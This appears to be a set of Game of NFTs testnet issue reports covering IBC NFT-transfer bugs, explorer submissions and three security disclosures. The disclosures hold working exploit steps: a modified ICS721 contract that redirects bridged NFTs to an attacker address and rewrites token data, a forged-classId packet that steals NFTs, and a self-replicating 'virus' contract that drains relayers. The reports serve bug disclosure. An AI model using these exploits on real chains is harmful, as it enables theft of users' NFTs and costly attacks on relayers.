Recipient List of the Second Round Airdop. ClassId is gonIndivRace2.

Recipient List of the Frist Round Airdop. ClassId is gonIndivRace1.

Not sure whether the following exploit covers Best Auditor or Bug or both :).

Summary

There is a way of rugging an NFT and changing its (token) data, by having the following setup:

1. Original collection is e.g. on IRISnet
   Collection is created on IRISnet and an NFT is minted with token data

2. An exploited ICS721 contract is setup e.g. on Stargaze
   On receiving an NFT (from IRISnet) it does:
   This contract overrides incoming recipient address send from IRISnet and provides its own address as new NFT owner.

On sending an NFT (to IRISnet) it does:
sends an NFT with exploited/manipulated token data

Exploit happens this way then:

• user is directed via a fake site/link enforcing sending his NFT to Stargaze.
• user believes NFT is transferred over to Stargaze and its stargaze wallet (aka recipient)
• NFT is transferred to Stargaze via exploited ICS721 contract
• ICS721 contract sends NFT to a newly instanted CW721 collection
• NFT is stolen, since recipient address got overriden, where ICS721 passed another address
• exploiter owns NFT and sends it back to original/OG collection to IRISnet with its address as new owner
• exploited ICS721 contract does send exploited token data (e.g. with a more rare trait as on-chain metadata)
• nft module on IRISnet receives NFT, unlocks NFT by assigning new owner AND changes token-data

Steps to reproduce:

original ICS721 contract is here: https://github.com/public-awesome/ics721/tree/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge

On NFT receive and taking NFT ownership, replace line 55 with this: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/ibc_packet_receive.rs#L55

    let rugged_receiver = "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc";
    let receiver = deps.api.addr_validate(rugged_receiver)?;

On NFT transfer and changing token data, replace line 190: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/contract.rs#L190

        token_data: Some(vec![to_binary("{\"exploit\": \"gotcha\"}")?]),

Now a honeypot on Stargaze needs to be setup:

• upload exploited ICS721 contract on a target chain like Stargaze or any wasm based chain
• setup IBC channels between exploited ICS721 contract (on target chain) and nft module (on source/OG chain)
• transfer NFT via exploited channel to target chain
• transfer NFT back to source chain

Detailed steps:

# upload exploited ICS721 contract (ICS721 code id: 1674)
starsd tx wasm store ./cw_ics721_bridge_exploit.wasm  --gas auto --gas-adjustment 1.3 -b sync --output json --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc -y

# instantiated exploited ICS721 contract (ICS721 contract: stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl)
starsd tx wasm instantiate 1674 '{"cw721_base_code_id":1635}' --label exploit --gas auto --gas-adjustment 1.3 -b block --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc --yes --admin stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc

# create IBC channel (IRISnet: channel-38, Stargaze: channel-229)
hermes --config relayer/config.toml create channel --new-client-connection --channel-version ics721-1 --yes --a-chain elgafar-1 --b-chain gon-irishub-1 --a-port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl --b-port nft-transfer

# mint NFT: arkNFT003, owner: iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
clear;./mint.sh --chain iris --collection-id arkprotocol001 --token-id arkNFT003 --uri "https://my-og-collection.io" --name "This is the OG collection" --data '{"twitter": "arkprotocol", "discord_invite": "https://discord.gg/fVv6Mf9Wr8", "team_name": "Ark Protocol", "description": "This one gets exploited"}' --data '{"og": "collection"}'
# query minted NFT
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "This is the OG collection",
  "uri": "https://my-og-collection.io",
  "data": "{\"og\": \"collection\"}",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
}

# transfer to exploited channel, with receiver: stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf
iris tx nft-transfer transfer nft-transfer channel-38 stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf arkprotocol001 arkNFT003 --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris        -b sync --yes --output json

# relay to Stargaze
hermes --config relayer/config.toml clear packets --chain gon-irishub-1 --channel channel-38 --port nft-transfer

# retrieve cw721 contract (stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869)
starsd query wasm contract-state smart stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl '{"nft_contract":{"class_id":"wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl/channel-229/arkprotocol001"}}'
# query shows nft got receive not by above recipient, but by wallet given by exploited ICS721 contract
starsd query wasm contract-state smart stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{"all_nft_info":{"token_id": "arkNFT003"}}' --output json | jq
{
  "data": {
    "access": {
      "owner": "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc",
      "approvals": []
    },
...

# exploiter, new owner transfers back to IRISnet to any wallet
starsd tx wasm execute stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{
        "send_nft": {
            "contract": "stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl",
            "token_id": "arkNFT003",
            "msg": "eyAicmVjZWl2ZXIiOiAiaWFhMTgzZTdjY3dzbm5najJxOGxmeG5tZWt1bnNwbmZ4czZxeGQ0djNmIiwgImNoYW5uZWxfaWQiOiAiY2hhbm5lbC0yMjkiLCAidGltZW91dCI6IHsgImJsb2NrIjogeyAicmV2aXNpb24iOiA2LCAiaGVpZ2h0IjogMzk5OTk5OSB9IH0gfQo="}}'        --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc        --gas-prices 0.01ustars --gas auto --gas-adjustment 1.3        -b sync --yes --output json

# relayer does the actual transportation to IRISnet:
hermes --config relayer/config.toml clear packets --chain elgafar-1 --channel channel-229 --port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl

# query on OG collection on IRISnet shows token data has changed
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "",
  "uri": "https://my-og-collection.io",
  "data": "\"{\\\"exploit\\\": \\\"gotcha\\\"}\"",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
} 

Summary of Bug

Doing a query on all denoms. Output contains redundant denom entries

Environment

• OS: Ubuntu 22.04
• Software version: Omniflix v0.9.0-gon-test2

Steps to Reproduce

$ omniflixhubd version
0.9.0-gon-test2

$ omniflixhubd query onft denoms --output text --page 0|grep "id:" >  denoms.json 
$ omniflixhubd query onft denoms --output text --page 1|grep "id:" >>  denoms.json 
$ omniflixhubd query onft denoms --output text --page 2|grep "id:" >>  denoms.json 

Now in file there these redundant denoms:

• ibc/FB13EEAA22AEC96A38CE92959DB492B7A487B74151EBA5AA2F3E1A9AA10BA9E3
• ibc/3031998311B73DA46F63D9CF6F55E5378C018D668DE97BCDC82B3DF88CC009AD

Expected and Actual Behavior

A list of unique denoms, instead it outputs redundant denoms

When transfer NFT from Omniflix to Iris, the IBC Acknowledgements always show code 5, packet acknowledgement hash not found.

Bug 1: can not transfer nft (O-J-1) to others.
TX: https://gon.ping.pub/omniflix/tx/E3B0410DDA8C92C11A0D0B155FAC99BAF9AAF9CD4DB6CE18ADFE43AE4F07A0BB

Bug 2: try transfer nft (O-J-1) to myself. IBC Acknowledgements code still 5, but Iris wallet received the nft.
TX: https://gon.ping.pub/omniflix/tx/iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf

Summary of Bug

Chains using nft-transfer module are affected.

An attacker can create a custom ICS721 implementation on a remote chain, and send packets with a classId that matches the class-trace path of any NFT on the origin chain, because the nft-transfer module does not verify the owner of the NFT in the destination chain, the attacker can steal any NFT, even if the NFT has never been used in an IBC nft-transfer.

Environment

• [email protected]
• github.com/bianjieai/[email protected]

Steps to Reproduce

• Add custom code to ics721 implementation to allow sending packets with a custom classId,
  e.g {port}/{channel}/{remote-class-id}, where {remote-class-id} is the NFT class to attack.

malicious packet sent:

{
  "classId": "wasm.juno14svms48zknd2583kunct22haqf26tsmzd8z0n50zgfj9mkfygdvqxjhjdj/channel-113/bitvalidator01",
  "classUri": null,
  "classData": null,
  "tokenIds": [
    "bitnftA4"
  ],
  "tokenUris": null,
  "tokenData": null,
  "sender": "juno1zxtlyk7l6n3t46yqse84sza7ar39m8ul3gdfye",
  "receiver": "iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5",
  "memo": "hack"
}

Expected and Actual Behavior

• Expected: ACK with Error: Unauthorized NFT owner
• Actual: attacker receives the NFT

Additional Context

• the attack has been executed on chains using nft-transfer module
  demo: JUNO <> IRIS
  Tx Transfer: D4AD024E4972D7FED3FB9364953D33525313F089C8780386056D17F16BAE50E4
  IBC Recv: 5467BC97AD6CF7A667BF9CF5D3F4519310AA0F341FF2CE3EC59BECC7431626BF

• NFT transferred to my IRIS wallet
  

• Custom ICS721 contract
  https://blueprints.juno.giansalex.dev/#/contracts/juno14svms48zknd2583kunct22haqf26tsmzd8z0n50zgfj9mkfygdvqxjhjdj
  source code: https://github.com/disperze/ics721/tree/gon-attack

jadefan provides NFT IBC dashboards for the Game of NFT :
Dashboards for all accounts
Dashboards for all tx
URL of Explorer: http://nft4good.xyz/#/transfers

Found 2 examples:

1. transfer from Stargaze to Juno
   Full flow: Irisnet -> Stargaze -> Juno -> Uptick -> Juno (back transferred) -> Stargaze (back transferred) -> Irisnet (backtransferred) -> Stargaze (retransferred) -> Juno (retransferred, ack error)
2. transfer back from Stargaze to Irisnet
   Full flow: Irisnet -> Stargaze -> Irisnet (backtransferred, ack error)

In both cases ack failed. As a result NFT is not returned/unlocked on source chain (Stargaze):

1. Stargaze -> Juno
   a) transfer: https://gon.ping.pub/stargaze/tx/36E5AC4BF6EF7C7522031F9B27DA910BD2C44C14AC082E514596BDBD963E1379
   b) ack: https://gon.ping.pub/juno/tx/499CA03C3E91CB958E76431468BC3772513AF12CFE9273C5268A85DEA2338822
   error:

• raw log: {"key":"packet_ack","value":"{"error":"codespace: wasm, code: 5"}
• message: code 5, rpc error: code = NotFound desc = packet acknowledgement hash not found: key not found

2. Stargaze -> IRISnet (back transfer)
   a) transfer: https://gon.ping.pub/stargaze/tx/0364AD07BBCF638122F0F35D376F9B27BA91A5E01B37C436CA015D20B0EEC919
   transferred succesfully

b) ack: https://gon.ping.pub/iris/tx/F3964D610E30F3CD74353A4BE9191CBEBECCF8D2378D9BED42A89FCE80904408
ack error:

• raw log: {"key":"packet_ack","value":"{"error":"ABCI code: 1: error handling packet: see events for details"}
• decoding bech32 failed: invalid separator index 11 | decoding bech32 failed: invalid separator index 11

Summary of Bug

Nothing crazy here. The newtype pattern's benefits do not extend to response attributes. Token ID attrs should be formatted such that transactions can be easily searched and indexed by token id.

Environment

• OS: MacOS
• Software version: cw-ics721-bridge

Steps to Reproduce

Steps to reproduce the behavior:
Transfer cw-ics721-bridge

Expected and Actual Behavior

Expected:

.add_attribute("token_id", String::from(token_id))

"value": "mytokenid"

Actual:

.add_attribute("token_id", token_id)

"value": "[TokenId(\"mytokenid\")]"

Error Stack

NA

Additional Context

NA

A certain user 0xtekgrinder#1558 used the gon cli service and sent a transaction from Juno to Iris.
Transaction hash: 94E6EA52C5B3EC73B407D6C45CA6D7B0C5E335920CC218B1E59E10EB9D3C9896
It got an error: rpc error: code = NotFound desc = packet acknowledgment hash not found: key not found

After a little analysis, I saw that it was the height of the block specified in the encoded message:
ewogICJyZWNlaXZlciI6ICJpYWExZDk1NzhreHA4ZnUwYXo4MDk4ZDJyOXd6bnFmcjBud3d1dW1tOGUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtOTAiLAogICJ0aW1lb3V0IjogewogICAgImJsb2NrIjogewogICAgICAicmV2aXNpb24iOiAxLAogICAgICAiaGVpZ2h0IjogNDE2NzA2CiAgICB9CiAgfQp9
The message is the following:

{
  "receiver": "iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e",
  "channel_id": "channel-90",
  "timeout": {
    "block": {
      "revision": 1,
      "height": 416706
    }
  }
}

But the transaction was executed in a much higher block. See screenshot:

Perhaps this is not a bug, or a service error.
But as far as I know, timeout related errors look different.
This confused both me and the participant.
Please pay attention to this.
If this is a service error, please explain why such an error occurred and what exactly it means.

Thank you for your attention :)

P.S.
The discussion took place in the gon-testnet channel

Summary of Bug

Cannot get from correct using command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/supermintG"}}'

Environment

• OS: macOS 13.2.1 (22D68)
• Software version: v12.0.0

Steps to Reproduce

This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> j --(1)

The following channel is deprecated and the transaction may fail:
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-211 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93
Therefore I am using the new channel
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-230 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120

Transaction hash:
i --(1)--> s --(1): 9E8F18E127CA44B9002472712E6D969A5B0E6AB407A193950B8ED3F19541F35D
s --(1)--> j --(1): A5CCA2462B680A476D86A1486F2B5EF5FBB34FACAEC120023580DD83D8A72162

Expected and Actual Behavior

It should return a class-hash. It returns null.

Additional Context

I have checked others transfer from the old channel are working correctly.
For example,
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/a2001"}}'
returns juno18wmuflvdm7klx06js8tq0hhadmhxj65qxg2nncgj8u5z08cus0psk2kp9p

Summary of Bug

The CosmWasm ICS721 implementation lacks sufficient constraints for safe relayer operations. To demonstrate this, I created the ICS721 virus.

Overview

The ICS721 virus is a malicious contract that infects either or both sides of a CosmWasm IBC connection. It creates an asynchronous recursive loop of relayers sending and timing out ICS721 packets, which execute a malicious transfer function, minting more NFTs and sending them as ICS721 packets, which they then need to transfer or timeout, and the loop repeats.

With only one packet required from the attacker, an IBC connection can be brought to its knees overnight. In the case of Game-of-NFTs, relayers minted over 500000 NFTs, ran out of gas funds, decommissioned their operations, and organizers had to set up new IBC channels for participants to complete their tasks.

Note: Prior to publicizing, it was important to first ensure this attack was not applicable to live ICS20 implementations including cw20-ics20 and TokenFactory. After testing this by writing the ics20-devils-snare contract, I am optimistic that submessage gas limits are a sufficient barrier. The version of Token Factory live on Juno should not be susceptible to this exploit, but the latest version includes a BlockBeforeSend hook which would make the transfer port quite vulnerable.

Steps to Reproduce

Sequence Diagram

sequenceDiagram
    participant I as Alice
    participant A as Chain A CW-721
    participant B as Chain B CW-721
    I-->>A: Upload Virus Contract
    I-->>B: Upload Virus Contract
    I->>A: Instantiate Virus A
    I->>B: Instantiate Virus B
    I->>A: Register Virus B Address
    I->>B: Register Virus A Address
    I->>A: IBC Transfer NFT-A to NFT-B
    I->>B: IBC Transfer NFT-B to NFT-A
    I->>A: Register Voucher A Address
    I->>B: Register Voucher B Address
    I->>B: IBC Transfer NFT-A back to NFT-A
    loop Exponential Transfer Virus:
        B->>A: Relayer Executes NFT-A.Transfer
        A-->>A: NFT-A.Transfer Mints new NFT-A
        A-->>A: NFT-A.Transfer IBC Transfers NFT-A1 ,NFT-A2 
        A-->>A: NFT-A.Transfer IBC returns NFT-B -> NFT-B
        A->>B: Relayer Executes NFT-B.Transfer
        B-->>B: NFT-B.Transfer Mints new NFT-B
        B-->>B: NFT-B.Transfer IBC Transfers NFT-B1, NFT-B2 
        B-->>B: NFT-B.Transfer IBC returns NFT-A -> NFT-A 
        loop Packet Timeout Subloop 
            Note over A, B: Packets Timeout in Relayer Queue 
            B->>B: Relayer Executes NFT-B.Transfer 
            B-->>B: NFT-B.Transfer Mints new NFT-B
            B-->>B: NFT-B.Transfer IBC Transfers NFT-B3
        end
        Note over A, B: Using batch transfers can ensure ordering.
        Note over A, B: Optimally vouchers return before native.
    end

Written Steps With Code

1. Alice uploads the virus contract to both Chain A and Chain B.

chaind tx wasm store \
  ./cw721_virus.wasm \
  --from $KEY --gas-prices 0.025ucosm \
  --gas "auto" \
  --gas-adjustment 1.5 \
  --yes

2. Alice instantiates Virus A on Chain A and Virus B on Chain B.

chaind tx wasm instantiate $VIRUS_CODE_ID '{ 
  "name":"Virus", 
  "symbol":"virus", 
  "minter":"'$ALICE_ADDRESS'" 
}'

3. Alice registers Virus B's address with Virus A and Virus A's address with Virus B.

chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
    "extension": {
      "msg": {
        "update_spike_proteins": {
          "accomplice_src": "'$COUNTERPARTY_VIRUS_CONTRACT'",
          "channel_id": "'$SOURCE_CHANNEL'",
          "bridge_contract": "'$SOURCE_BRIDGE_CONTRACT'"
        }
      }
    }
  }'

4. Initializing Transfers:
   4.1. Alice initiates an IBC transfer of NFT-A (of Virus A) from Chain A to Virus B Contract address on Chain B.
   4.2. Alice initiates an IBC transfer of NFT-B (of Virus B) from Chain B to Virus A Contract address on Chain A.

# this can be done by executing the counterfeit transfer message
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
  "transfer_nft": {
    "recipient": "doesntmatterwontbevalidated",
    "token_id": "doesntmatterwontbevalidated"
  }
}'

5. Relayer executes #ibc_packet_receive entrypoints on each chain's cw-ics721-bridge, instantiating cw721 voucher contracts for each class id
6. Alice registers voucher contract addresses with each virus contract

chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
  "extension": {
    "msg": {
      "update_spike_proteins": {
        "accomplice_dst": "'$LOCAL_COUNTERPARTY_VOUCHER'"
      }
    }
  }
}'

7. Alice initiates an IBC transfer, returning NFT-A from Virus B to itself on Chain A.

🔁 loop begins:

1. Relayer executes Virus-A.Transfer on Chain A.
2. Virus-A.Transfer mints new NFT-A on Chain A and IBC transfers NFT-A1 and NFT-A2 to Chain B.
3. Virus-A.Transfer IBC transfers NFT-B back to Virus-B.
4. A relayer executes Virus-B.Transfer on Chain A.
5. Virus-B.Transfer mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.
6. NFT-B.Transfer IBC returns NFT-A -> NFT-A.
7. Repeat.

The above loop continues until the packets timeout in the relayer queue.

🔁 Packet timeouts initiate their own asynchronous loops as follows:

1. Relayer attempts timeout, executing Virus-B.Transfer on Chain A.
2. Virus-B.Transfer mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.
3. NFT-B.Transfer IBC returns NFT-A -> NFT-A.
4. Repeat

Impact

The demonstrated attack can instigate significant harm by causing relayers to self-inflict exponentially increasing packet volume and gas expenditures.

This is not necessarily a denial of service attack. While the deployed version mints 4-10 new NFTs per invocation, the most profitable variant need only transfer two packets at a time, silently and continuously collecting income from Juno's FeeShare module at the expense of relayers.

Conclusion

If ICS721 is to utilize the altruistic relayer economy of ICS20, packets must have semi-fungible assurances in terms of cost and functionality. This can be achieved via submessage gas limits and/or code id whitelists.

Optimally, users should be relaying their own transactions, which addresses most of the described risks.

Links

• Virus Contract: https://github.com/mccallofthewild/ics721-virus/blob/main/contracts/cw721-virus/src/lib.rs
• Virus Integration Tests: https://github.com/mccallofthewild/ics721-virus/blob/main/ts-relayer-tests/src/ics721.spec.ts#L336-L675
• Deployment Scripts: https://github.com/mccallofthewild/ics721-virus/tree/main/ts-relayer-tests
• ICS20 Reimplementation: https://github.com/mccallofthewild/ics20-devils-snare

The scope of bugs are not 100% clear, so not sure if this qualifies as a bug in the program or not. If not I will file it with Omniflix directly.

Summary of Bug

When using the following command with the OmniFlix cli, there is some validation of the "ID" that is not taking IBC-denoms into account:

$ omniflixhubd q onft denom ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743
Error: invalid denom ID ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743, only accepts alphanumeric characters, and begin with an english letter: invalid denom

Interestingly enough, it works fine if you query using collection instead of denom.

Environment

• OS: Linux, Ubuntu 22.04
• Software version: omniflixhubd 0.9.0-gon-test

Steps to Reproduce

1. Transfer an NFT to OmniFlix
2. Find the class hash (q nft-transfer class-hash)
3. Query for denom using the form ibc/<CLASS_HASH>

Another approach you can take is to query for all denoms, find any that has the ibc/<CLASS_HASH> format and try to query for that one directly (which will also fail).

Expected and Actual Behavior

It should see the format as valid and query for the IBC-transferred NFT.

According to the ICS721 spec, multiple tokenIDs can be sent in the same IBC packet, the nft-transfer module supports this, but cw-ics721 although it allows receiving multiple tokens, it does not allow sending multiple tokens.

e.g: In the following Tx, approve, revoke are executed in cw721, and transfer in cw-ics721

{ 
 "messages": [
  {
    "approve_all": {
      "operator": "ics721-addr"
    }
  },
  {
    "transfer_nft": {
      "contract": "cw721-addr",
      "token_ids": ["token1", "token2", "token3"],
      "channel_id": "channel-1",
      "receiver": "iaa1...",
      "timeout": {
        "timestamp": 1234567890
      },
    }
  },
  {
    "revoke_all": {
      "operator": "ics721-addr"
    }
  }
]}

demo code

Summary of Bug

A "success" status was returned for failed transfer of NFT from Uptick to IRISNet.

There happened an occasion that "success" was returned for a failed transfer. The NFT was not transferred but a "success" status was returned by mistake.
The hash on Uptick is "46ED6726AD4A8DD96153D45771B099289F7AEF6886D44C2C844ADBDD610B7936"
The transfer is finally completed in transaction with hash "A01AF11CE35EB7405DB13B767F89D79D834DCC5816EF38C918CF69E97FCD832B"
which returned "success"

Environment

• OS: Ubuntu 22.04 TLS
• Software version: Uptickd v0.2.6

Steps to Reproduce

Have tried to reproduce the issue using the exact same commands used:

1. Sending the same NFT from IRISNet to Uptick
   (iris tx nft-transfer transfer nft-transfer channel-17 uptick1j2u7fnhw8yjv8m6gyts08pu292ylvsnn3sg8je ocv1 ocvnft02 --from key --fees 2000uiris)
   => a successful status returned

2. Checking NFT was gone
   (iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
   => sent NFT was not found as expected

3. Sending the same NFT from Uptick back to IRISNet
   uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
   => a successful status returned

4. Checking NFT was returned
   (iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
   => set NFT was returned as expected

5. Trigger the same command to send the same NFT from Uptick back to IRISNet
   uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
   => a failed status returned

However, this time the transfers are successful and smooth. The error could not be reproduced.

Expected and Actual Behavior

N/A

Error Stack

N/A

Additional Context

By comparing The transaction log for the found "failed" transfer and a normal one, they are very similar.

Summary of Bug

Output has been changed to json using iris config output json. But for queries like iris query bank balances or iris query nft collection output is always text. But for commands like iris tx nft mint it works fine and use the config for output.

Environment

• OS: Ubuntu 22.04
• Software version: iris v1.4.1-gon-testnet

Steps to Reproduce

# change output to json
iris config output json
# query balances
iris query bank balances MY_WALLET # output in text! but should be json!
iris query bank balances MY_WALLET --output json # output in json
# query collection
iris query nft collection 'arkprotocol001' # output in text! but should be json!
iris query nft collection 'arkprotocol001' --output json # output in json!
# mint, output in JSON
iris tx nft mint 'arkprotocol001' 'arkNFT014' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes
# change output to text and mint outputs to text!
iris config output text
iris tx nft mint 'arkprotocol001' 'arkNFT015' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes

Expected and Actual Behavior

Expecting output to be based on client.toml / config!

iris hash: 4650BF5F9771C0B51D977F368B3B74763F3E26205F09243BE1E9ABDD44B37E06
classid: isc721FanIRISId
nftid: isc721FanNFT1stId
transfer isc721FanNFT1stId to Stargaze success, But contractAddress cannot be found in Stargaze
When I replaced another nft isc721FanNFT2ndId, contractAddress can be found in Stargaze
use channel :
nft-transfer/channel-23 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-208

When I replaced another channel， transfer isc721FanNFT1stId success，contractAddress can be found。
nft-transfer/channel-22 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207

Summary of Bug

I have transferred "ark13" from Stargaze to IRISnet, but I cant query for this specific token.

Environment

• OS: Ubuntu 22.03
• Software version: iris v1.4.1-gon-testnet

Steps to Reproduce

#  query for specific token  does not work
$ iris query nft token 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' 'ark-13' --output json
Error: tokenID can only accept characters that match the regular expression: ([a-z][a-zA-Z0-9/]{2,127}),but got (ark-13): invalid denom

# thought collection shows there is token ark13
$ iris query nft collection 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' --output json
5 tokens found
...
      {
        "id": "ark-13",
        "name": "",
        "uri": "",
        "data": "",
        "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
        "uri_hash": ""
      }
...

Expected and Actual Behavior

Token query should work.

Summary of Bug

I have collection, but this token I transferred doesn't exist. Error returned: not token owner: unauthorized

Environment

• OS: Ubuntu 22.04
• Software version: iris 1.4.1-gon-testnet

Steps to Reproduce

$ iris tx nft-transfer transfer 'nft-transfer' 'channel-22' 'stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf' 'arkprotocol002' 'fooBar'            --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f            --fees 2000uiris            -b sync --yes --output json
{"height":"0","txhash":"8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0","codespace":"","code":0,"data":"","raw_log":"[]","logs":[],"info":"","gas_wanted":"0","gas_used":"0","tx":null,"timestamp":"","events":[]}

$ iris query tx 8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0 --output json | jq
{
  "height": "370014",
  "txhash": "8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0",
  "codespace": "sdk",
  "code": 4,
  "data": "",
  "raw_log": "failed to execute message; message index: 0: not token owner: unauthorized",

Expected and Actual Behavior

A better error message like token fooBar does not exist!

JS-Team provides NFT path visualization tools/ Explorer for the Game of NFT :

• Query by TXID

• Query by Address

• Analyze NFT path by classID

URL of Explorer: http://www.nftland.org/

I have been working really hard to help people in Discord (mainly in the gon channel, but some have reached out on DMs as well).

Some examples:

• Help with commands (nft usage, but also searching up transactions using events, etc.)
• Help with the particular details of the challenges
• Teaching how the IBC denoms and traces work (typically, they can't find their NFTs on the destination chain)
• Debugging stuck IBC packets (both in BUG issues here and in Discord)
• I have relayed packets on channels when people's packets get stuck.
• Update the ICS 721 instructions to be clearer: game-of-nfts/gon-testnets#18
• Updated relayer info after new channels were added: game-of-nfts/gon-testnets#29
• Manually relaying packets for people who are stuck
• Running a relayer on our own infrastructure

I have over 400 messages (mostly helping people) in the gon-testnet Discord channel, so you can look there to see more.

## Summary of Bug

When sending back an NFT from Omniflix to IrisNET, we have experienced that the NFT either gets back with a big delay or the ownership of the NFT is not transferred from the escrow to the destination address.

## Environment

• OS: Any
• Software version: Any

## Steps to Reproduce
1.- Create collection on IrisNET
2.- Send NFT from IrisNET to Omniflix
3.- Transfer back from Omniflix to Irisnet
omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token002 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 1: NFT HAS NOT BEEN TRANSFERRED FROM ESCROW TO OWNER
TxHash 40FD09ECFC47ECA0D4997FA9A829595B7FE7E62DD4E92BE7EAA2BAE6E18472A7

omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token003 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 2: TOOK A LONG TIME TO TRANSFER NFT FROM ESCROW TO OWNER
